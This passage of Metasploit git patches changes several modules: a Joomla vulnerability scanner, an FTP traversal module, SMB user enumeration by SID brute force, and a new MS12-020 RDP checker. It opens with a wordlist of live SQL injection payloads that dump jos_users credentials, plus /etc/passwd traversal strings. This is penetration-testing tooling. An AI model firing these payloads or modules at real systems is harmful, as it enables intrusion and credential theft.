-index.php?option=com_page&id=53 -index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL))) -index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00 -index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection] -index.php?option=com_phocagallery&view=categories&Itemid= -index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) -index.php?option=com_php&file=../../../../../../../../../../etc/passwd -index.php?option=com_php&file=../images/phplogo.jpg -index.php?option=com_php&file=../js/ie_pngfix.js -index.php?option=com_ponygallery&Itemid=[sqli] -index.php?option=com_products&catid=-1 -index.php?option=com_products&id=-1 -index.php?option=com_products&product_id=-1 -index.php?option=com_products&task=category&catid=-1 -index.php?option=com_properties&task=agentlisting&aid= -index.php?option=com_qcontacts&Itemid=1' -index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts -index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_restaurantguide&view=country&id='&Itemid=69 -index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' -index.php?option=com_seyret&view= -index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users-- -index.php?option=com_smartsite&controller= -index.php?option=com_spa&view=spa_product&cid= -index.php?option=com_spidercalendar -index.php?option=com_spidercalendar&date=1' -index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) -index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) -index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) -index.php?option=com_staticxt&staticfile=test.php&id=1923 -index.php?option=com_szallasok&mode=8&id=25 (SQL) -index.php?option=com_tag&task=tag&tag= -index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users-- -index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users -index.php?option=com_ultimateportfolio&controller= -index.php?option=com_users&view=registration -index.php?option=com_virtuemart&page=account.index&keyword=[sqli] -index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_x-shop&action=artdetail&idd=' -index.php?option=com_x-shop&action=artdetail&idd='[SQLi] -index.php?option=com_xcomp&controller=../../[LFI]%00 -index.php?option=com_xvs&controller=../../[LFI]%00 -index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users-- -index.php?option=com_yjcontactus&view= -index.php?option=com_youtube&id_cate=4 -index.php?option=com_zina&view=zina&Itemid=9 -index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id= -index.php?search=NoGe&option=com_esearch&searchId= -index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube -index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users-- -js/index.php?option=com_socialads&view=showad&Itemid=94 -libraries/joomla/utilities/compat/php50x.php -libraries/pcl/pcltar.php -libraries/phpmailer/phpmailer.php -libraries/phpxmlrpc/xmlrpcs.php -modules/mod_artuploader/upload.php"); -modules/mod_as_category.php -modules/mod_calendar.php -modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] -modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream"); -modules/mod_jfancy/script.php"); -modules/mod_ppc_simple_spotlight/elements/upload_file.php -modules/mod_ppc_simple_spotlight/img/ -modules/mod_pxt/ -modules/mod_quick_question.php -modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0 -patch/makedown.php?arquivo=../../../../etc/passwd -plugins/content/efup_files/helper.php"); -plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data"> -plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ -plugins/editors/xstandard/attachmentlibrary.php -print.php?task=person&id=36 and 1=1 -templates/be2004-2/ -templates/ja_purity/ -wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1-- -web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb index 7b497d1846..798496cb74 100755 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary 'language/en-GB/en-GB.ini','htaccess.txt', 'language/en-GB/en-GB.com_media.ini'] iapps = ['robots.txt','administrator/index.php','admin/','index.php/using-joomla/extensions/components/users-component/registration-form', 'index.php/component/users/?view=registration','htaccess.txt'] - + apps.each do |app| app_status = check_app(tpath, app, ip) return if app_status == :abort From 6cdb1a80de61b46853401ef971d7bd470c52ad81 Mon Sep 17 00:00:00 2001 From: f8lerror Date: Thu, 24 Jan 2013 09:47:20 -0500 Subject: [PATCH 023/129] Remove app from fingerprint and blank line --- modules/auxiliary/scanner/http/joomla_vulnscan.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb index 798496cb74..1c465719f1 100755 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary return os end - def fingerprint(response, app) + def fingerprint(response) if(response.body =~ /(.+)<\/version\/?>/i) v = $1 out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" @@ -101,7 +101,6 @@ class Metasploit3 < Msf::Auxiliary 'language/en-GB/en-GB.ini','htaccess.txt', 'language/en-GB/en-GB.com_media.ini'] iapps = ['robots.txt','administrator/index.php','admin/','index.php/using-joomla/extensions/components/users-component/registration-form', 'index.php/component/users/?view=registration','htaccess.txt'] - apps.each do |app| app_status = check_app(tpath, app, ip) return if app_status == :abort @@ -137,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary res.body.gsub!(/[\r|\n]/, ' ') os = osfingerprint(res) if (res.code == 200) - out = fingerprint(res,app) + out = fingerprint(res) return if not out if(out =~ /Unknown Joomla/) print_error("#{peer} - Unable to identify Joomla Version with this file #{app}") From 9aaca2eae9f7bf9c0fe9818bd5cea7b32dae966c Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Thu, 24 Jan 2013 22:07:17 +0200 Subject: [PATCH 024/129] Auxiliary::Web::HTTP: updated exception handling [FIXRM #7724] Updated #run and #_requestto rescue and elog all exception. --- lib/msf/core/auxiliary/web/http.rb | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index a261113556..0a59187c02 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -120,10 +120,15 @@ class Auxiliary::Web::HTTP tl = [] loop do - # Spawn threads for each host while tl.size <= (opts[:max_threads] || 5) && !@queue.empty? && (req = @queue.pop) tl << framework.threads.spawn( "#{self.class.name} - #{req})", false, req ) do |request| - request.handle_response request( request.url, request.opts ) + # Keep callback failures isolated. + begin + request.handle_response request( request.url, request.opts ) + rescue => e + elog e.to_s + e.backtrace.each { |l| elog l } + end end end @@ -291,7 +296,12 @@ class Auxiliary::Web::HTTP Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out - rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout + #rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout + # This is bad but we can't anticipate the gazilion different types of network + # i/o errors between Rex and Errno. + rescue => e + elog e.to_s + e.backtrace.each { |l| elog l } Response.empty end From 15253f23bf033156289bbe1d2bf811a01d6fa316 Mon Sep 17 00:00:00 2001 From: Brandon McCann Date: Thu, 24 Jan 2013 15:29:35 -0600 Subject: [PATCH 025/129] added RHOSTS funct --- .../ftp/titanftp_xcrc_traversal.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) rename modules/auxiliary/{admin => scanner}/ftp/titanftp_xcrc_traversal.rb (92%) diff --git a/modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb similarity index 92% rename from modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb rename to modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index 476ccc65f2..e28eaa0562 100644 --- a/modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner def proto 'ftp' @@ -28,7 +29,11 @@ class Metasploit3 < Msf::Auxiliary Although the daemon runs with SYSTEM privileges, access is limited to files that reside on the same drive as the FTP server's root directory. }, - 'Author' => 'jduck', + 'Author' => + [ + 'jduck', + 'Brandon McCann @zeknox ', + ], 'License' => MSF_LICENSE, 'References' => [ @@ -47,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary end - def run + def run_host(ip) connect_login @@ -55,7 +60,8 @@ class Metasploit3 < Msf::Auxiliary res = send_cmd( ['XCRC', path, "0", "9999999999"], true ) if not (res =~ /501 Syntax error in parameters or arguments\. EndPos of 9999999999 is larger than file size (.*)\./) - raise RuntimeError, "Unable to obtain file size! File probably doesn't exist." + print_error("Unable to obtain file size! File probably doesn't exist.") + return end file_size = $1.to_i From dd1ce34ecc202d865f724984c7bb55f6ba17dbaa Mon Sep 17 00:00:00 2001 From: f8lerror Date: Thu, 24 Jan 2013 17:04:22 -0500 Subject: [PATCH 026/129] Made recommended changes removed short timeout added returns and other small changes --- .../auxiliary/scanner/http/joomla_vulnscan.rb | 49 ++++++++++--------- 1 file changed, 27 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb index 1c465719f1..2ad9d2f040 100755 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module scans a Joomla install for information, plugins and potential vulnerabilites. }, - 'Author' => [ 'f8lerror' ], + 'Author' => [ 'newpid0' ], 'License' => MSF_LICENSE ) register_options( @@ -101,22 +101,23 @@ class Metasploit3 < Msf::Auxiliary 'language/en-GB/en-GB.ini','htaccess.txt', 'language/en-GB/en-GB.com_media.ini'] iapps = ['robots.txt','administrator/index.php','admin/','index.php/using-joomla/extensions/components/users-component/registration-form', 'index.php/component/users/?view=registration','htaccess.txt'] + vprint_status("#{peer} - Checking Joomla version") apps.each do |app| app_status = check_app(tpath, app, ip) return if app_status == :abort break if app_status end - vprint_status("#{peer} - Checking host for interesting pages") + vprint_status("#{peer} - Checking for interesting pages") iapps.each do |iapp| scan_pages(tpath,iapp,ip) end if datastore['ENUMERATE'] - vprint_status("#{peer} - Checking host for interesting plugins") + vprint_status("#{peer} - Checking for interesting plugins") bres = send_request_cgi({ 'uri' => tpath, 'method' => 'GET', }, 5) - return false if not bres or not bres.body or not bres.code + return if not bres or not bres.body or not bres.code bres.body.gsub!(/[\r|\n]/, ' ') File.open(datastore['PLUGINS'], 'rb').each_line do |bapp| papp = bapp.chomp @@ -129,10 +130,9 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => "#{tpath}" << app, 'method' => 'GET', - }, 5) + }) return :abort if res.nil? - return false if not res or not res.body or not res.code - vprint_status("#{peer} - Checking host for version information") + return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') os = osfingerprint(res) if (res.code == 200) @@ -151,7 +151,7 @@ class Metasploit3 < Msf::Auxiliary :ntype => 'Joomla Version', :data => out ) - return :next_app + return true end elsif(res.code == 403) if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) @@ -163,25 +163,26 @@ class Metasploit3 < Msf::Auxiliary else vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") end - + else + return end rescue OpenSSL::SSL::SSLError vprint_error("#{peer} - SSL error") - return :abort + return rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError vprint_error("#{peer} - Unable to Connect") - return :abort + return rescue ::Timeout::Error, ::Errno::EPIPE vprint_error("#{peer} - Timeout error") - return :abort + return end def scan_pages(tpath, iapp, ip) res = send_request_cgi({ 'uri' => "#{tpath}" << iapp, 'method' => 'GET', - }, 5) - return false if not res or not res.body or not res.code + }) + return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') if (res.code == 200) if(res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) @@ -213,23 +214,25 @@ class Metasploit3 < Msf::Auxiliary else vprint_status("#{ip} ip access to #{ip} #{res.code} #{res.message}") end + else + return end rescue OpenSSL::SSL::SSLError vprint_error("#{peer} - SSL error") - return :abort + return rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError vprint_error("#{peer} - Unable to Connect") - return :abort + return rescue ::Timeout::Error, ::Errno::EPIPE vprint_error("#{peer} - Timeout error") - return :abort + return end def plugin_search(tpath, papp, ip, bres) res = send_request_cgi({ 'uri' => "#{tpath}" << papp, 'method' => 'GET', - }, 5) + }) return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') osize = bres.body.size @@ -279,18 +282,20 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{ip} requires a SSL client certificate") else vprint_status("#{ip} denied access to #{ip}#{tpath}#{papp} - #{res.code} #{res.message}") - end + end + else + return end rescue OpenSSL::SSL::SSLError vprint_error("#{peer} - SSL error") - return :abort + return rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError vprint_error("#{peer} - Unable to Connect") - return :abort + return rescue ::Timeout::Error, ::Errno::EPIPE vprint_error("#{peer} - Timeout error") - return :abort + return end From 27aae87c1884740bbbb391fef9fc8960bf6652d2 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Thu, 24 Jan 2013 22:06:51 -0500 Subject: [PATCH 027/129] Stop aggravating default show screenshot A better fix would have it detect default browsers as being text only like lynx. But this has got to go one way or another. Loosing shell because I forgot to do -v false is wall punch worthy --- .../post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb index 37386cad66..6c4bd90f17 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb @@ -129,7 +129,7 @@ class Console::CommandDispatcher::Stdapi::Ui def cmd_screenshot( *args ) path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 - view = true + view = false screenshot_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner." ], From a9821fce290c5311a3e8b74b34d6df7044cff02c Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Fri, 25 Jan 2013 02:08:30 -0500 Subject: [PATCH 028/129] add action option for domain user enum --- .../auxiliary/scanner/smb/smb_lookupsid.rb | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 8ffe83a4bb..44fdf478d0 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -27,14 +27,21 @@ class Metasploit3 < Msf::Auxiliary 'Description' => 'Determine what local users exist via brute force SID lookups', 'Author' => 'hdm', 'License' => MSF_LICENSE, - 'DefaultOptions' => { - 'DCERPC::fake_bind_multi' => false - } + 'DefaultOptions' => + { + 'DCERPC::fake_bind_multi' => false + }, + 'Actions' => + [ + ['LOCAL', { 'Description' => 'Enumerate local accounts' } ], + ['DOMAIN', { 'Description' => 'Enumerate domain accounts' } ] + ], + 'DefaultAction' => 'LOCAL' ) register_options( [ - OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ]) + OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ]), ], self.class ) @@ -206,6 +213,8 @@ class Metasploit3 < Msf::Auxiliary :groups => {} } + target_sid = host_sid if action.name =~ /LOCAL/i + target_sid = domain_sid if action.name =~ /DOMAIN/i # Brute force through a common RID range 500.upto(datastore['MaxRID'].to_i) do |rid| @@ -216,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary NDR.long(1) + NDR.long(rand(0x10000000)) + NDR.long(5) + - smb_pack_sid(host_sid) + + smb_pack_sid(target_side) + NDR.long(rid) + NDR.long(0) + NDR.long(0) + From 976e59954c7d4403bbae176e88e9a3a72073796e Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Fri, 25 Jan 2013 02:14:42 -0500 Subject: [PATCH 029/129] update description --- modules/auxiliary/scanner/smb/smb_lookupsid.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 44fdf478d0..9a7c83fa4c 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -24,7 +24,9 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'SMB Local User Enumeration (LookupSid)', - 'Description' => 'Determine what local users exist via brute force SID lookups', + 'Description' => 'Determine what users exist via brute force SID lookups. + This module can enumerate both local and domain accounts by setting + ACTION to either LOCAL or DOMAIN', 'Author' => 'hdm', 'License' => MSF_LICENSE, 'DefaultOptions' => From a204f6fd1b493f859478f082cf077bcff6013f30 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Fri, 25 Jan 2013 02:18:20 -0500 Subject: [PATCH 030/129] variable typo --- modules/auxiliary/scanner/smb/smb_lookupsid.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 9a7c83fa4c..28b431e5a8 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -227,7 +227,7 @@ class Metasploit3 < Msf::Auxiliary NDR.long(1) + NDR.long(rand(0x10000000)) + NDR.long(5) + - smb_pack_sid(target_side) + + smb_pack_sid(target_sid) + NDR.long(rid) + NDR.long(0) + NDR.long(0) + From e32bd8d4e0e19493c461f0c71f00798de2ddd901 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Jan 2013 11:44:08 +0100 Subject: [PATCH 031/129] Comma deleted --- modules/auxiliary/scanner/smb/smb_lookupsid.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 28b431e5a8..346f6f04ac 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ]), + OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ]) ], self.class ) From a081389f866676aa92450eba257ab62d5928e938 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Tue, 29 Jan 2013 03:08:53 +0200 Subject: [PATCH 032/129] Auxiliary::Web, Exploit::Remote::Web: style updates --- lib/msf/core/auxiliary/web.rb | 6 +++--- lib/msf/core/exploit/web.rb | 3 ++- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index a707e6a4ae..48428b720c 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -250,9 +250,9 @@ module Auxiliary::Web if !(payload = opts[:payload]) if payloads - payload = payloads. - select { |p| element.altered_value.include?( p ) }. - sort_by { |p| p.size }.last + payload = payloads.select { |p| + element.altered_value.include?( p ) + }.sort_by { |p| p.size }.last end end diff --git a/lib/msf/core/exploit/web.rb b/lib/msf/core/exploit/web.rb index df77fa4c36..6abef69773 100644 --- a/lib/msf/core/exploit/web.rb +++ b/lib/msf/core/exploit/web.rb @@ -75,7 +75,8 @@ module Exploit::Remote::Web def exploit print_status "Sending HTTP request for #{path}" - if res = perform_request + res = perform_request + if res print_status "The server responded with HTTP status code #{res.code}." else print_status 'The server did not respond to our request.' From 2965fa480e0606d620eb5ca1db8ec624c64edbda Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 25 Jan 2013 05:41:28 -0600 Subject: [PATCH 033/129] Some errant spaces --- lib/msf/core/exploit/web.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/web.rb b/lib/msf/core/exploit/web.rb index 6abef69773..dcec407024 100644 --- a/lib/msf/core/exploit/web.rb +++ b/lib/msf/core/exploit/web.rb @@ -78,11 +78,11 @@ module Exploit::Remote::Web res = perform_request if res print_status "The server responded with HTTP status code #{res.code}." - else - print_status 'The server did not respond to our request.' + else + print_status 'The server did not respond to our request.' end handler - end + end def tries 1 From fc3d87ed4cdeadd1e43c94d6a743e1a1f1c3ded2 Mon Sep 17 00:00:00 2001 From: Brandon McCann Date: Fri, 25 Jan 2013 10:43:43 -0600 Subject: [PATCH 034/129] added ms12-020 checker --- .../auxiliary/scanner/rdp/ms12-02_check.rb | 194 ++++++++++++++++++ 1 file changed, 194 insertions(+) create mode 100644 modules/auxiliary/scanner/rdp/ms12-02_check.rb diff --git a/modules/auxiliary/scanner/rdp/ms12-02_check.rb b/modules/auxiliary/scanner/rdp/ms12-02_check.rb new file mode 100644 index 0000000000..da7d458962 --- /dev/null +++ b/modules/auxiliary/scanner/rdp/ms12-02_check.rb @@ -0,0 +1,194 @@ + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS12-020 Microsoft Remote Desktop Checker', + 'Description' => %q{ + This module checks a range of hosts for the MS12-020 vulnerability. + This does not cause a DoS on the target. + }, + 'References' => + [ + [ 'CVE', '2012-0002' ], + [ 'MSB', 'MS12-020' ], + [ 'URL', 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020' ], + [ 'EDB', '18606' ], + [ 'URL', 'https://svn.nmap.org/nmap/scripts/rdp-vuln-ms12-020.nse' ] + ], + 'Author' => + [ + 'Royce Davis @R3dy_ ', + 'Brandon McCann @zeknox ' + ], + 'License' => MSF_LICENSE, + )) + + register_options( + [ + OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]), + ], self.class) + end + + def checkRdp(packet) + # code to check if RDP is open or not + vprint_status("#{peer} - Verifying RDP Protocol") + begin + # send connection + sock.put(packet) + # read packet to see if its rdp + res = sock.recv(1024) + + if res.unpack("H*").join == "0300000b06d00000123400" + return true + else + return false + end + rescue + print_error("could not connect to RHOST") + return false + end + end + + def connectionRequest() + packet = '' + + "\x03\x00" + # TPKT Header version 03, reserved 0 + "\x00\x0b" + # Length + "\x06" + # X.224 Data TPDU length + "\xe0" + # X.224 Type (Connection request) + "\x00\x00" + # dst reference + "\x00\x00" + # src reference + "\x00" # class and options + return packet + end + + def report_goods + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => 'The MS12-020 Checker', + :vuln => 'Confirmaiton that this host is vulnerable to MS12-020', + :refs => self.references, + :exploited_at => Time.now.utc + ) + end + + def connectInitial() + packet = '' + + "\x03\x00\x00\x65" + # TPKT Header + "\x02\xf0\x80" + # Data TPDU, EOT + "\x7f\x65\x5b" + # Connect-Initial + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # callingDomainSelector + "\x01\x01\xff" + # upwardFlag + "\x30\x19" + # targetParams + size + "\x02\x01\x22" + # maxChannelIds + "\x02\x01\x20" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x18" + # minParams + size + "\x02\x01\x01" + # maxChannelIds + "\x02\x01\x01" + # maxUserIds + "\x02\x01\x01" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x01\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maxParams + size + "\x02\x01\xff" + # maxChannelIds + "\x02\x01\xff" + # maxUserIds + "\x02\x01\xff" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x04\x00" # userData + return packet + end + + def userRequest() + packet = '' + + "\x03\x00" + # header + "\x00\x08" + # length + "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) + "\x28" # PER encoded PDU contents + return packet + end + + def channelRequestOne + packet = '' + + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x01\x03\xeb" + return packet + end + + def channelRequestTwo + packet = '' + + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x02\x03\xeb" + return packet + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + begin + # open connection + connect() + rescue + return + end + + # check if rdp is open + if checkRdp(connectionRequest) + + # send connectInitial + sock.put(connectInitial) + # send userRequest + sock.put(userRequest) + user1_res = sock.recv(1024) + # send 2nd userRequest + sock.put(userRequest) + user2_res = sock.recv(1024) + # send channel request one + sock.put(channelRequestOne) + channel_one_res = sock.recv(1024) + if channel_one_res.unpack("H*").to_s[16..19] == '3e00' + # vulnerable + print_good("#{peer} - Vulnerable MS12-020") + report_goods + + # send ChannelRequestTwo - prevent bsod + sock.put(channelRequestTwo) + + # report to the database + else + vprint_error("#{peer} - Not Vulnerable") + end + + end + # close connection + disconnect() + end + +end + From 8578e7cf8541cee0bf542fcf5a07c5d3ccc7ec73 Mon Sep 17 00:00:00 2001 From: Brandon McCann Date: Fri, 25 Jan 2013 11:55:54 -0600 Subject: [PATCH 035/129] renamed file --- .../auxiliary/scanner/rdp/{ms12-02_check.rb => ms12-020_check.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/rdp/{ms12-02_check.rb => ms12-020_check.rb} (100%) diff --git a/modules/auxiliary/scanner/rdp/ms12-02_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb similarity index 100% rename from modules/auxiliary/scanner/rdp/ms12-02_check.rb rename to modules/auxiliary/scanner/rdp/ms12-020_check.rb From 3742fd5a17c909303c76162c71468b4083017b74 Mon Sep 17 00:00:00 2001 From: Brandon McCann Date: Fri, 25 Jan 2013 11:58:04 -0600 Subject: [PATCH 036/129] duplicate include --- modules/auxiliary/scanner/rdp/ms12-020_check.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb index da7d458962..5e2aa8dcc4 100644 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12-020_check.rb @@ -4,7 +4,6 